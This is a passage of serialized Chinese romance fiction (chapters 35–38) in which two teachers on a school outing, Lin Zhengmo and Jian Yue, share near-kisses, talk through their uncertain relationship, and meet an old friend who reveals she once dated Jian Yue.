林筝墨瞳孔里的影子放大,是她日思夜想的影子。 简越又闪又亮的眼睛,满眼都是林筝墨,后知后觉她们靠得很近。 林筝墨心跳漏了一拍,突突,突突,心动又惶恐。 “想给你擦擦眼泪。”简越目不斜视看着林筝墨,“但我没带纸。” 林筝墨刚想说,我有,我带了,我自己擦。 下一秒,简越忽然靠近过来,吻上了林筝墨的眼睛 第35章 第三十五章 未必穿给你看? 第三十五章 简越的吻没有前词, 嘴唇贴在眼角的时候,林筝墨的眼睛刚好眨了一下。 她的眼泪就这样被简越吻掉了。 亲吻眼睛是一个过于亲密的事情,至少在林筝墨的世界里,实在想不出在什么样的场景, 另一个人会以这样的方式代替纸巾, 而且好突然。 原来嘴巴的温度和眼泪的温度是不一样的, 它们像红色和橘色,即使都是热烈的象征, 却拥有不同的底色, 是平行线的无意相交,相撞在一起,贴合在一起, 在吻合的缝隙里滋生,融合,直到红色变成了橘色, 缠缠绵绵,再也分不清。 慢慢沦陷。 实在奇怪。 人类在过于心动的时候反而察觉不到那种存在, 比如心跳的频率, 呼吸的深度, 在感官放大到一定程度时,对于自我的感知逐渐细微。 注意力居然停留在—— 空气上。 简越靠近的时候, 林筝墨的世界开始坍缩, 外面的声音听不见了, 只剩这辆大巴车。这样一个大型的长方形盒子,成为她们的庇护所,空气中残留的皮革气味,玻璃缝隙里钻进来的汽油味道, 全都搅拌到鼻腔里。窗外的紫外线,饶使没有抵达肌肤表层,却还是留下夏日的余晕,林筝墨的耳尖泛红,脸颊泛红,连着脖子一带也烧起赤红的云。 而简越的吻,还在和眼泪周旋。 不是那种蜻蜓点水的吻,而是雨天湿漉漉的,靴子踩进泥浆里的,缠绵的吻,温暖而潮湿。 林筝墨的睫毛轻轻颤动,不敢再哭,可她无法控制自己,眼泪那么配合简越,淌不完,流不尽,直到连她自己也受不了了,她居然想回吻简越。 咚咚咚—— 玻璃忽然响起。 两人惊醒,像爆米花一样弹开。 咚咚咚—— 外面又有人敲了一下车窗。 林筝墨慌忙擦掉脸颊的痕迹,简越稍稍整理表情,面不改色拉开窗帘,发现张老师站在外面。 不合时宜的入侵者,却还在沾沾自喜,张老师好像有喜讯要分享。 简越笑意未达眼底,虚虚地看着她,心想,来得真是时候啊。 张老师激动地挥着手里的卡片,嘴巴不停唇语着,但隔着玻璃窗,听不清。 “我下去看看。”简越在林筝墨脑袋上摸摸,“你好好恢复一下情绪。” 下了车,张老师过来说:“你们在干嘛呀?小林脑袋还疼吗?要不要送她去医院?” “她没事,在收拾东西了。” “那就好!我拿到了最好的房间!”张老师捏着一张房卡,“大床房!有一张麻将桌,今晚约几个老师打两圈,你来不来?” 简越敷衍着说了句恭喜,恭维着说不会打牌。紧接着张老师又塞了一张房卡给简越,低声嘟哝:“我在赵铭那里抢的,这双人房不错,你们两个姑娘住着舒心些。” 这么好。 原谅你了张老师。 “谢谢,有心了。” 张老师:“客气什么,是我叫小林来的,劳烦你帮我把她照顾好。” 简越扬唇,“一定一定。” 张老师又偷偷说:“她好像哭啦?脑袋是撞疼了,你空了多给她揉揉。” 简越:“嗯,一定揉。” * 林筝墨安眠药的后劲还没过,加上后脑勺磕疼,下车的时候还晕乎乎的。 听见简越和张老师在说话,什么揉来揉去的,简直是听不懂,奇奇怪怪。 “那我先去约麻将角儿。”张老师的心早就飞到幺鸡二条那里去了,哪儿还想得起对林筝墨的誓言,当初那句我带你玩就是屁话,她和麻将卿卿我我还差不多,“小林,这样,你和简主任先去房间放东西,我一会儿再找你!” “诶?”林筝墨刚想问张老师能不能带上她,结果张老师头也不回大刺刺走了。 先前从车上下来的大部队,也都进去办理入住了。 停车场正在暴晒,阳光毒辣,睁不开眼。 林筝墨和简越肩并肩,连带着空气都变得微妙起来。林筝墨只觉得浑身不自在,连忙戴上墨镜,偷偷觑了简越一眼。 简越居然在看她! 没事,有墨镜,不会眼神交流。 所以,刚刚那个眼泪吻算什么?林筝墨承认自己没有明确拒绝,但也没有迎合,准确来说,她们只进行到一半就被打断了。她其实有被简越吓到,但惊吓只有一秒,余下的都是迷恋。 迷恋。 啊,要承认这个事实好难。 她觉得简越真的很温柔,嘴唇湿软,像一颗甜蜜的棉花糖,在奖励气呼呼的她。 林筝墨完全受不了这样的思绪,她简越到底是有什么魅力! “我要走了。”林筝墨一言不合就开溜,长腿一迈,简越一把抓住她的小翅膀。 不许走。 逃避真是她的底色!今天非逮住她的毛不可! “你去哪?” 鸵鸟冷漠:“我回房间。” 简越:“我们不是一起?” 鸵鸟嘴硬:“哦,我不想和你一起住。” 简越笑:“哦~这样啊,我不知道这个事。” 林筝墨微微凝目,假装有些愠怒:“明明可以不安排在一起。” 毕竟也只是假装,那幅我要生气给你看的模样反倒是有些可爱了。 在理。 策划人是简越,谁和谁睡也就是画个圈圈的事。 “你早说。”简越眼底噙着笑,目光暗含情愫:“房卡分完了,现在暂时也修改不了。”又好声好气哄着林筝墨:“这外面好晒,不然我们进去再说吧?” 进去再说吧。 把小鸵鸟先套进麻布口袋,捆紧,再说。 林筝墨也觉得晒,“放完行李我马上就要去找张老师。” “好的。” 简越拉过行李箱,让林筝墨走前面。 一前一后,亦步亦趋。 大厅的旋转门缓慢转动着,林筝墨步入玻璃玄道,缓缓走进大堂。 简越低头,看着手里的双人床卡片 共。 眠。 夜。 机不可失,失不再来。 * 简越所安排的这家酒店非常中规中矩,毕竟供学校团建所用,搞得花里胡哨不合适。 要求是:规矩、大方、设施完善。 房卡滴的那一声,映入眼帘的是两张崭新洁白的床,宽绰的阳台,整洁的玄关,第一印象是比较舒适的,又要比那种古老商务房好多了。 林筝墨率先进入,简越慢慢跟进去,房门阖上那瞬间,顺手落了锁。 咔哒—— 林筝墨听到这一声,心脏忽然拉了弦,转过身看简越,“你锁门干嘛?” “我的习惯。”简越把行李箱放下,慢条斯理把里面的东西拿出来,又望向林筝墨:“你带睡衣了吗?” “带了。”林筝墨回答完这句,又觉得很奇怪。简越问这个干嘛?带了,然后呢?穿给你看? “给你看我的睡衣。”简越从行李箱里拎出一件睡裙。 准确来说,是一条睡裙,裙摆坠坠的,款式比较复杂,拉丝似的,这里一缕,那里一缕,性感撩人,实在想象不出上身是什么效果。 效果 林筝墨忽然想起简越以前在网络上给她发过的照片。 别看老简老干部。 勾引起人有两套。 远离老干部。 会放大招。 “哦!”林筝墨加重了“哦”的语气,“哦”得可一点都不平淡,又刻意寡淡了些:“哦。” “好看吗?” “不知道。”林筝墨低下头,耳朵烫得厉害,把包放下,拉开拉链,胡乱翻找起来。纸巾眼镜盒,该摸的都摸一遍,总之要假装自己很忙。 “你怎么话这么少?”简越故意逗她:“还是说你不想和我说话。” 林筝墨:“” 我和你说什么?说你睡衣其实好看?晚上穿给我看?就像网上发照片那样?我林筝墨是正经人!更何况!你现在还不是我女朋友呢! 简越见她不说话,硬着头皮找话说:“头还疼不疼?” 林筝墨:“不疼了。” 简越:“哦~那刚刚擦眼泪的方法是要奏效些。” 林筝墨被她挑起神经,“下次我要生气了。” “那下次我不亲这里。”简越望向她,秀气的眉峰微微上扬,带着一种明知故问的挑逗。 林筝墨迅速转过身去,完全不想再搭理简越。 听见简越轻轻笑了声,那笑声顶好听,有一点点抓耳。其实两个人共处一室,并没有想象中的局促感,反而因为这道门,更松弛些。人和人之间就是有种气场,尤其这个人还是她爱得要死的,未过门的,前·女朋友。 微信消息打破两人的气氛。 “啊呀。”简越拿着手机说:“张老师说她开始打麻将了,晚上来找你,下午就让我带你玩。” 林筝墨早就预料到张老师不靠谱,也没期待过,却是要拒绝的:“我自己玩。” 简越却不顺着她的话讲,“可是我有安排诶,觉得你会喜欢。” “我都说不去了。”林筝墨自己都觉得很没底气。 好奇心被勾起来。 我喜欢的? 是什么? “林老师~”简越声音悠悠扬扬钻进林筝墨的耳朵里,明明声线不是很软,却听出几分服软的意味,她在恳求林筝墨。 林筝墨只觉得耳朵好痒。老简的声音倾向于安定剂,让人稳定舒心。 “林老师~”简越又叫她一遍。 “干嘛。”林筝墨缴械投降。 “一起吧。”简越相当诚恳:“有一部分是为你准备的。” 就算是特意为我准备的,我也不会去呢,但话又说回来,俗话说得好,话又说回来! 林筝墨不语,沉默代表默认,半只脚已经下台阶。 “去吗?” 好看的唇抿成一条线,吞吐道:“随便。”—— 作者有话说:好了今天又是晚下班的一天。 最近都很忙,起因是我的店员突然辞职,要去什么说走就走的旅行,导致我每天都要去锤柠檬! 我现在的状态就是:我有很多很多灵感,我想写一万字!但是我没有时间!!! 掐指一算,我已经欠了大家三章加更了。 加不了,太忙了,人都要累晕。 过些日子给大人们一一补上[彩虹屁] 一定会补[彩虹屁] 退下了[彩虹屁] 第36章 第三十六章 介不介意接个吻? 第三十六章 天气预报显示, 今日气温29℃~34℃,适合户外运动。 简越在群里随便问了几句,想知道老师们的去处,结果才这会儿功夫, 麻将已经坐上四桌了。 据她观察, 年长一些的老师, 确实更喜欢打麻将,要等他们输得心服口服, 才有心情去欣赏美景。 所以现在是和林筝墨相处绝好的时机。 遮阳伞、防晒霜、驱蚊液、湿纸巾……简越化身百宝箱, 东西一件一件往背包里装。 “你带这么多?” “不多不多~”简越装完自己的,又把林筝墨背包拉链拉开,将里面的东西抖落出来, 只留了一包最轻的纸巾,再合上干瘪瘪的书包,拍拍:“你就背这些好了。” 小鸵鸟不需要负重前行, 小鸵鸟只需要游山玩水。 简越就是这样的人,对自己喜欢的人, 体贴入微, 林筝墨绝对有这个特权。 林筝墨心里过意不去, 觉得自己至少要分担一点。 “你不用背。”简越先斩后奏:“走啦~” “去哪?”这时林筝墨还稀里糊涂。 “去爬山。” “啊,我不行。” “没关系, 走不动了我背你。”简越长手一拉, 拉着林筝墨的手臂, “走~” 她就是有这种煽动力,一句话两句话,就能把林筝墨骗着去。准确来说,不叫“骗”, 叫心甘情愿。 走出房间,走廊上人很少,没见到什么熟人。下楼的时候碰到赵铭,他同几个老师拿着泳衣,说要去游几圈。 问简越和林筝墨去做什么。 “看看花,看看草。” “哪里看?” “就马路边。” 众人大失所望,没有要同行的意思。 简越还客套问他们去不去,自然是婉拒了。 两人快步出了大厅,只见简越从背包里摸出一把钥匙,biubiu两声,停车场的轿车应声解锁。 林筝墨:“哪里来的车?” 简越笑,“提前就租好的,早就有安排有计划。” 林筝墨不语,在想,我也在计划内吗?你早就想好了吗?还是说,我只是顺带捎上的? 那是一辆普通的白色大众,简越打开后座的门,把背包放上去,暗示林筝墨不许坐后面的意思。 结果林筝墨把背包推了推,差点就要坐上去了。 “坐副驾。” “不。” “后面不干净。”简越实话实说:“副驾驶我让人提前擦了,这后座应该没擦吧,上一个租车的人是谁我们也不知道,万一很脏。” 戳到林筝墨的洁癖点上了,似乎也只能坐副驾的门。 简越绕到驾驶位,迅速启动,引擎嗡嗡作响,直到车轱辘开出去好长一截,林筝墨才反应过来:她怎么就上了这条贼船了? 她怎么,就坐在这里了呢? 这种感觉可不像是吃了一粒安眠药,而是喝了一碗迷魂汤,她的心,她的魂,都被对方吊着勾着走了,稀里糊涂就坐在这里。 回忆起来。 一切都进行得非常诡异,先是莫名其妙的安眠药事件,到睁开眼发现睡在简越怀里,其实事情到这一步都能遏止。 失控点是——简越吻她那一下,吻到她头晕目眩,现在回想起来还心颤颤的。 她没问为什么,简越居然也没解释。 她坐上她的贼车,望着窗外快速倒退的风景,她甚至不知道要去哪里,只有“爬山”两个字,只是如此模糊的概念,却也不可抵抗地跟着过来了。 林筝墨心想:我应该是个蠢货吧,我明明该拒绝她的。 “在想什么呢?”简越忽然开口。 “什么都没想。” “在想怎么就坐在这辆车上了?”简越倒是大大方方揭穿她。 “所以我为什么在这辆车上?”林筝墨小心翼翼询问着。 她们之间有一层已经被捅破的窗户纸,但那张纸还在,还没被彻底撕碎,或许糊弄糊弄,还可以假装没有发生过,但这是不可能的,有些话总是要放到台面上来讲。 “嗯”简越若有所思:“因为我约你爬山?所以你现在坐在这里?” “所以你为什么约我爬山?” “所以我为什么不能约你爬山?” 两人在打哑谜,打太极,推推拉拉,几招过手。 林筝墨败阵下来:“我觉得我们现在的关系不合适。” 简越只是开车,缄默不言,日光透射玻璃,折射在琥珀色的瞳仁里。窗外是弯弯折折的石子马路,颤颤抖抖晃荡着两人的心情,那种都不说话的感觉,有点像还未拧盖儿的可乐,说起可乐,想起不欢而散的那个夜晚。 那天晚上,到现在,始终是没有把话说明白的。 比如,我们到底是什么关系,未来是什么关系,拉黑等同于分手吗,你真的舍得我吗。 两位火影忍者只字未提。 “好,那聊聊我们现在是什么关系。”简越看似平静在开车,心情汹涌似海,“你拉黑我,我可以理解。”未等林筝墨下一句,她又说:“不过,如果我们的关系就止步于此,那我不能接受。” “你能不能接受是你的事,我怎样选择是我的事。”林筝墨说:“我也有想过,我不喜欢这种感觉。” 简越握方向盘握紧了些,她忽然想踩刹车,预料到林筝墨要展现本色了。 果不其然,林筝墨低头,声音小而寡淡,淡然里又裹着悲伤:“我没有习惯你的身份,以及我们的关系,我知道是在和你谈恋爱的时候,很难接受,一直到现在,也是那样的情绪。” 她说完这段话,又觉得有一些词不达意。 她不是不能接受简越,而是不能接受自己。 那是一种煎熬又拉扯的情愫,很难精准表意。 要和简越谈恋爱,就要打破她的好多定律:她只想工作和生活分开,当一个社会无视的隐形人,她要找一个和她完全没有关联的,可以被她藏起来的爱人,即使这一点并不公平。 而简越是耀眼的、热烈的、勇敢又大方的人。林筝墨觉得,对比起来,自己就是阴沟里的老鼠,是脆弱的、胆小的、更容易随波逐流的。 现在她们互相喜欢,可激情退却后,她给不到简越想到的,结局一定悲凉。 “我觉得没有结果就还是不要开始了。”林筝墨继续说。 简越忽然踩了刹车,汽车制停在路边,烈日熏蒸,忽然晒得眼睛很不舒服。 “为什么会这样觉得?”简越审慎地看着林筝墨:“还没有开始,就已经想到结束。” “我就是这样胆小的人。”林筝墨全程不与简越对视,先前她只是低着头,说完这句,忽然偏过头去看窗外,更加逃避了。 又想落泪,泪光噙在眼眶里头,暗暗潮润。她觉得自己很讨厌,很扫兴。可她没有办法不去陈述自己的顾虑。她一想到有朝一日可能会让简越失望,索性就不要开始,她是认真的。 发动机还在突突突地响,简越拔掉钥匙,看样子不打算继续开,引擎的声音消失了,她们之间的沉默就异常明显。 “你看着我,我有话和你说。” 林筝墨保持看窗外的姿势,纹丝不动。 简越伸手去碰她的肩膀,指尖触碰过去,感受到林筝墨轻微抖动了一下,而后,又似乎在努力克制住这种情绪。 “你听我说。”简越试图让林筝墨面对她,但林筝墨不愿意,她便没有强迫她,自顾自说:“你说你是一个很胆小的人,可我没有要求你勇敢啊。” 早就知道你是一个容易退却的人,我没想过改变你,改变你的生活。 “你的那些顾虑,我全都知道,我不会强迫你的。”这是简越对林筝墨说的第二句话。 “只是我们连开始的机会都没有。” 林筝墨眼泪簌簌,视线里是一片模糊的光景,玻璃生花。 “我可以接受,接受你不勇敢,不出柜,当一个隐形人,我可以,退一万步讲,你要我当你地下情人我也愿意。” “简越,你不要……”林筝墨小声抽泣:“你不要说这样的话。” 没必要这么卑微,也没必要宽容到这种地步,显得她更自私,更卑劣了。 “我们好好商量好不好?我想和你继续继续下去,你不要这样子,这样子说狠话,故意把我推开。”简越忽然也有点哽咽,再次去触碰她,轻轻掰她的肩膀,这次林筝墨没有再抵抗。 简越解开自己的安全带,主动朝林筝墨靠去,不管林筝墨愿不愿意,伸出手去拥抱她。 林筝墨第一次遇见这样的人,她往后退一步,对方追她一万步。她都以为说那些狠话,简越要放弃她了,可为什么这份礼物还是送到了面前。 胆小鬼也有春天。 拥抱来临的时候,林筝墨只觉得悸动侵袭了她的皮肤,身体好像迅速做了反应,像紧绷了很久很久,很久的弦,蹦的一声被对方剪断了。她的伪装、犹豫、踟蹰和胆小,好像也因为这个拥抱揭开了面纱。 无法再假装,她当然知道简越对她来说意味着什么,她也不想和她分开。 简越的胳膊很细,很柔软,拥抱的时候,掌心贴在后面,缓慢地、充满爱意地抚摸着林筝墨的肩膀。 林筝墨下巴埋在简越的肩膀上,嗅到简越头发的香味,那么安心,阖上眼,迷恋地攫取这个瞬间。 “我觉得我很讨厌。”林筝墨吸吸鼻子,可怜巴巴地说:“爱说狠话,敏感又容易生气,还需要人哄。” 哦,太好了,她终于说话了,说这种软绵绵的,像情侣之间的话。 简越情绪回了温,心头烫热,“啊,一点都不觉得讨厌啊,哄一哄怎么啦。” 一点都觉得不讨厌。 要怎么表达,觉得你很可爱,很喜欢,爱你爱得要死,你如果真的丢下我,才是讨厌。语言相当匮乏,如何表达成为世纪难题,不足我心底热烈的万分之一。 “林筝墨” “干嘛?”这时林筝墨还沉浸在悲伤小情绪中。 “介不介意接个吻?” 第37章 第三十七章 我和越越谈恋爱的时候…… 第三十七章 “介不介意接个吻?” 这当然不是一个疑问句, 简越还没蠢到接吻需要前情提要。说出这句话只是下意识的,开口之后连自己也觉得大胆。 林筝墨的心没有节律地快速跳动着,似乎被这样大胆的语言冲击到。 简越不林筝墨回答,忽然去吻她的耳尖。 温热拂面而来, 柔软的嘴唇含着林筝墨的耳朵, 带来小范围颤动, 林筝墨的眼神逐渐迷离。 我没有答应你呀。 你为什么在亲我。 可是好热…… 简越的嘴唇总是很软,稀碎而温柔, 像是一片软绵绵的海, 只碰一下,就快沉溺进去了。舌尖触碰着耳朵,在耳尖缭绕, 呼吸的时候,热气钻进林筝墨的耳朵里,又湿又热。 林筝墨浑身被抽离了力气, 双手抓着简越的手臂,不知道怎么办才好。 “你可以搂着我。”简越在她耳边引导她:“搂着我的脖子。” 林筝墨紧张到鬓角渗出冷汗, 稀里糊涂照做, 双臂攀上简越的肩膀, 将浑身的力气都托付给对方。 逐渐升温,悸动像爬山虎遍布整个身体。 简越内心狂喜, 林筝墨在配合她。那个吻又从耳朵游离到脸颊, 一片火似的向林筝墨袭去, 林筝墨忽然有些情不自禁,她情不自禁发出一点点鼻音,然后又被自己的声音吓到,可身体的反应是真实的, 简越只需要亲吻她的脸颊,她就可以溃不成军。 温暖的阳光照耀着林筝墨的脸颊,瓷白的皮肤染上一点粉晕,她闭着眼,睫毛轻轻颤动着。白净的侧脸和下颌非常诱人,那克制又忍不住迎合的模样实在令人喟叹,简越只瞥了一眼,觉得自己瞬间被勾l引到了。 怎么可以这么漂亮,这么可爱,这么美味。 吃掉! 她捧起林筝墨的脸颊,几乎就要吻过去了。 “哔——”车身后响起喇叭声,一辆货车不合时宜地出现,这条路窄,车子没法错道,大喇叭震耳欲聋,吓得肩膀抖一抖。 简越懊恼至极,张老师派来的间l谍? 两人的情致再次被打断,林筝墨睁开眼,目光里的迷濛还未散去,别了一下耳边的发,迅速退开,羞涩藏在头发丝里,将车窗打开,透了口气。 哇。 好险。 “哔——”身后又哔了声。 “后面让你挪车。”林筝墨说。 “嗯,知道。”简越眉峰紧蹙,少有地很懊恼,车钥匙咔哒掰了一下,不情不愿踩下油门,难得抱怨:“大白天的开什么车?” 林筝墨嘴角有不易察觉的弧度,觉得她蛮好笑的,“马路就是用来开车的啊。” 才不是给你接吻的。 “他就不能晚一点——”简越很委屈,有种万事俱备只欠东风的无力感,“就不能晚一点哔。” 哪怕两秒钟,三秒钟,她们就可以…… “你先把车开前面去。”林筝墨尽量保持平静,假装刚刚什么都没发生过,“等会儿他又要摁喇叭了。” 简越只好把车往前开,到野草坪停下,让货车司机先过。那司机也是好笑,路过的时候又哔了一下,以声抗议。 “后面应该没车了吧?”简越突然发问,暗戳戳地询问林筝墨的意见,比如要不要把先前没做完的事情再做一遍。 “啊——”林筝墨假装听不懂,侧目看简越,才发现简越的耳朵也红了,刚刚那一下,两个人都够呛,“先走吧,今天不是出来玩的吗?” “可是——” 林筝墨打断她:“走吧。” 氛围没了,再继续也没意义,简越不拘于此,重新发动引擎,这次心无杂念,直直往前开。 今天天气不错,很适合出游。林筝墨坐在副驾,心情逐渐晴朗起来,两人交流不多,却默契地都在内心复盘。 简越在想:先前亲她,她好像没有推开我诶,吻哪里不是吻呢,亲眼睛也是亲亲呀,重要的是态度,只要不抗拒就好,我还有机会吧,我还有机会吧,我还有机会吧?重要的事说三遍。 林筝墨也在想:我刚刚话说成那样,她还有心情哄我,她对我怎么那么有耐心,连我自己都觉得自己矫情,她居然可以包容到这种地步,呜呜呜呜……我真是太差劲了! 各自在心里开火车。 “那个——” “其实——” 忽然异口同声。 “你先说。” “你先说。” 异口同声*2. 简越润润嗓:“那我先说吧。” 林筝墨:“好。” 简越非常隐晦:“所以你还好吗?” 林筝墨也很难描述自己的心情,百分之六十的开心,百分之四十的犹豫。她不排斥和简越有亲密接触,凭心而论,她喜欢简越靠近她,但冲动背后还是要考虑现实,她不能保证自己已经完全准备好了。 回答得相当保守:“还好。” “好,那你要不要重新考虑一下我们的关系?” 林筝墨没急着回应,而是沉默片刻,才说:“我会考虑的。” 简越竟然成熟到不再追问,只是说:“那有答案了告诉我。” “好。”林筝墨靠在半边窗,“我睡一会儿。” “睡吧,到了叫你。”简越把空调调至合适的温度,贴心地把遮光板放下来,好让林筝墨不晒到太阳。 林筝墨假装没看到,阖上眼,心情却暖哄哄的。 路途崎岖,这一觉却睡得异常的香,途中林筝墨还做了个梦,一个极其涩情的梦,梦见她们还坐在这辆车上,把刚刚那件事延续。梦里,简越在亲她的脸,只是不局限于脸颊,是真的触碰到嘴唇,脖子,锁骨还有别的地方。 梦里,她跨坐在简越腿上,脑袋埋在简越怀里,感受着简越带来的热烈。但那种感觉很空很空……没有太大实感。 * 很热吗? 简越到达目的地后开始观察林筝墨。 洁白无瑕的一张脸,皮肤干净得闪光。只是皮肤有点过于红润了。 为什么连睡觉脸也这么红?空调开着,今天也不是很热,她在做什么梦吗? 简越小幅度戳了戳林筝墨的肩膀,“醒醒。” 林筝墨还在梦里拉丝,推推拉拉,缠缠绵绵,这么一戳,迷迷糊糊睁开眼来,眼神迷濛。 简越的五官和梦境重合,林筝墨眼底荡漾着一丝惊慌。 “你做什么梦了?” “唔。”林筝墨揉揉眼,挺直腰来,“没有。”她甚至喉咙滑动了一下,“到了?” “到了一会儿了。”简越低声笑:“看你睡得香,就没打扰你。” “哦。”林筝墨满脑子都是香艳画面,一时半会儿没法直视简越,罪恶,罪恶,“这是哪?” “一家咖啡店,带你见见我的朋友。”简越开门下车,绕半圈,把林筝墨也接出来。 “不爬山吗?”林筝墨真以为爬山呢。 简越笑:“车子帮我们爬了,明天还有安排,怕你累,今天就不爬山了,歇歇再说。” 两人下车,这是一家朴素的咖啡店,生意冷清,招牌是一块木质竖形牌匾,上面潦草写下几款咖啡,字迹有些斑驳了,但店主明显不介意。 简越领着林筝墨进去,与她介绍:“以前在福利院一起长大的姐妹,叫李冉。有一阵子没和她见面了,说来看看。她毕业之后当过社畜,房地产高峰期干了几票大的,累死累活确实挣了一笔,估计是接触太多人了,反而患了社交恐惧症,现在跑山里躲着,佛得不行。” “她一个人吗?” 简越摇头,“她平常是一个人,但今天好像有别人,我没问。” 两人已进门,院子方方正正,店主很有雅致,栽花种草,准确来说,这是个大花园,有葡萄藤、栀子、绣球还有一些海棠类的植物。空气中弥漫着一股植物的气味,视觉和嗅觉都得到了满足。 “冉姐——”简越朝屋子里喊了些。 脚步循声而来,那人踏过门槛的木台阶,笑道:“等你一会儿了啊!” 李冉是相貌很素的那一类人,说她以前是房产销冠,乍一看确实沾不上边。人一身蓝布衣裳,是扎染的那种布,不化妆,不染发,柔亮的黑发唰唰落在肩头,朴朴素素,有种返璞归真的美,和大城市那些花花绿绿真没什么关系。 “介绍一下,这是我朋友,林筝墨。”简越一只手搭在林筝墨肩膀上,姿态亲昵,看起来可不太像朋友。 林筝墨斯斯文文点头,“你好,我叫林筝墨。” “你好你好!”李冉往屋里看了眼,又转过脑袋,很快正色道:“越越提前招呼过了,我都准备好了,快进来坐!” 简越是说要带个朋友,但没说是这种朋友!李冉心想,今天怕是做错事了。 屋内传来歌声,有人在哼歌,听音色,是个女孩儿。哼的是一首耳熟能详的英文歌,California dreaming,声线清越,还挺好听。 “California dreaming~on such a winters day~” “大热天呢,怎么就winters day了?”李冉走在前,领着简越和林筝墨进去,“晓晓,看看谁来了?” 张晓身形纤瘦坐在民族风格的圆垫子上,还沉浸在自己美妙的歌声里,闻言转身,先是看到简越,而后是林筝墨,看到林筝墨的惊讶大于简越,尖声道:“林筝墨!!!!” 林筝墨也吓一跳,多年不见,张晓相貌更加张扬了,灰白长发,耳钉,唇钉,发型飘逸又潮流,但潮得过头了,会得风湿那种。 简越没想到李冉的客人居然是张晓,更没想到张晓居然认识林筝墨,世界真小! “简越越!”张晓这才和她招呼,又半气半笑地说:“好啊林筝墨,你不回我微信消息,在这儿游山玩水呢!” 林筝墨也没想到千里迢迢偶遇老熟人,她确实没回复张晓消息,因为忘了。 “微信消息?”简越看看张晓,又看看林筝墨,“你们还加了微信?” 张晓站起来,赤脚踩在地板上,嘎吱嘎吱朝她们过来,“怎么,就准你们认识,不准我们认识啊?”她性格外向,是个爽快人,拥有着常人无法理解的艺术家的脑回路,比如见面就立马拥抱这件事,还来了个贴面吻,在国外学的那一套。 吧唧。 她在林筝墨脸上吻了一下。 林筝墨被亲得莫名其妙,她知道是一种象征性的礼貌,但一点都不适应这种热情。还没回过神来,发现简越也被抱了,但张晓没亲简越,而是用一种很奇怪的眼神和简越打了个招呼。 李冉手足无措地站在旁边,笑意略微僵硬了些:“好了好了,都来喝茶吧。” 简越拿出湿纸巾,偷偷给林筝墨擦了下脸。 讨厌! 冉姐招呼着大家坐下,一张小木桌,黑色的瓷瓦罐,里面煮的是荔枝茶,她总喜欢煮这些奇奇怪怪的东西。简越和林筝墨坐一边,张晓随其后,坐在简越对面。 席间,张晓和简越对视一眼,两人同时挪开目光,有些诡异的生疏,又有种诡异的熟悉。 冉姐问张晓:“所以你认识小林啊。” “那肯定的啊,咱们小时候门对门的邻居!就我很早以前就说过,我小时候爱玩泥巴,她就是和稀泥那个!!” 林筝墨有些尴尬,又觉得不回复又不礼貌,不自在道:“对,小时候关系好。”——但长大后没联系也是真的,这也是她忘记回复张晓消息的原因,她不觉得她和张晓的交情,是可以出来吃饭的地步。 简越沉默。 在这里遇到张晓是她没想到的。 张晓认识林筝墨那就更意想不到了。 她有一种不祥的预感。 呃—— 张晓是什么性格的人,简越不能再了解了。 “对了,筝墨,前几天约你吃饭呢,你都不理我。” “不好意思,我最近工作太忙了,有时候信息一下子就岔开,忘记回复。” “哎呀也无所谓!”张晓一幅无谓的模样:“约你吃饭就是随便聊聊,你也知道,我妈和你妈都说过我的事了。” 林筝墨擅长装傻,能少说一句,她一定不说。 “没有。” “喔,阿姨没告诉你吗?莫不是怕我带坏你吧。”张晓嗤笑:“其实这么些年,也算是装够了,不想装了,这年头性取向又不是什么见不得人的东西。” “我妈妈只说你妈妈身体不太好。”林筝墨比较关心这个,“所以她还好吗?” “她要是真的病,我还能在这里唱歌吗?” 有时候家长也会演戏,知道孩子的软肋是什么,见过以死相逼的,结果比谁都惜命。也见过装病的,无非是想达到自己的目的。 “她就希望我听话,找个体制内的工作,就像越越。”张晓忽然提起简越,嗟叹道:“但其实越越隐瞒这么些年,过得也不快乐嘛。” 简越表情微僵,实话说,不想和张晓讨论这些话题。她今天带林筝墨过来是喝茶聊天的,愉悦心情,这种夹带着个人隐私的话题,不合适,而且有点沉重了。 张晓却闷得慌,不吐不快: “我记得当初我和越越谈恋爱的时候,躲着避着能理解。”张晓不明真相:“毕竟是学生时代嘛,什么也不懂,谈来玩玩。” 一些生猛的消息就这样毫无征兆地钻进林筝墨的耳朵里,她嘴唇忽然抿了一下,直勾勾看着张晓,手指扣进掌心里,指甲泛白。 她没听错吧?张晓和简越谈过恋爱? 再去看简越,发现简越脸色果然很难看明显觉得张晓多嘴。 张晓却没发现端倪,在她的概念里,林筝墨是直女,和简越不可能擦出火花,自然而然以为两人是朋友。 李冉心思就要缜密得多了,发现情况不妙,赶忙出来打圆场:“去去去,你们俩谈什么恋爱,早知道你今天嘴这么贫,就不叫你来!小嘴都没亲一个的,陈年老玩笑挖出来说呢,那叫什么恋爱,小孩子过家家。” 张晓乐不可支,点头:“是了是了,我们以前是友谊以上,恋人未满~现在是24K纯友谊~” 简越脸色紧绷,关于她和张晓,一句两句说不清,她不喜欢她,谈过恋爱纯属意外,真是意外,没有实质上的肢体接触,没爱过,等同于没谈。 “怎么一来就说那些事情?换个话题?”简越直截了当。 “行,筝墨呢?好多年没看到你了,也不知道你最近怎么样呢。”张晓似乎对林筝墨的近况很感兴趣。 林筝墨满脑子却是简越谈恋爱这件事。 她觉得简越优秀,谈过恋爱是情理之中的事,可是,南城真的那么小吗?她儿时的朋友都和简越谈过恋爱,简越未报上名的女朋友不会有千千万万个吧? 林筝墨从未思考过这个问题,可现在这些东西占据了她的脑袋。 “我的生活很单一,没什么好说的。”林筝墨完全不看简越,只是凝视着张晓,醋劲劲的:“说说你们吧,说说你和简越的恋爱史,应该挺好玩的?” 一旁的简越倒吸一口凉气:“” 冲我来的是吧?—— 作者有话说:温馨提示:虽然现在还没亲到嘴,但是快了。真正接吻是在一个比较特别的地方,现在可以开始竞猜了[彩虹屁]答对有奖!! 第38章 第三十八章 爱我还是她 第三十八章 简越确实和张晓谈过恋爱, 但那真的是一个老掉牙牙牙牙的故事。简越把那一次事故归因于:嘴贱。 该是十几年前?那时候简越还在上高中。 简越成绩一直相当好,年级上另一个男生一直在和她暗中较劲,两人要抢第一名,常常分数差距不超过3到4分而已。 简越生性要强, 要做就要做到最好, 学神疯狂起来是绝对发狂, 但压力也大。加上妈妈简桑从不向她提要求,但也正是这种宽容, 让简越对自己反而更加严格起来, 在这种高强度竞争下——简越崩溃了。 她的崩溃不是大吼大叫,是脑袋机能下意识的反抗,她想做点疯狂的事情, 学习以外的事情。 那时她和李冉玩得好,李冉又和张晓玩得好,一来二去的, 简越便认识了张晓。 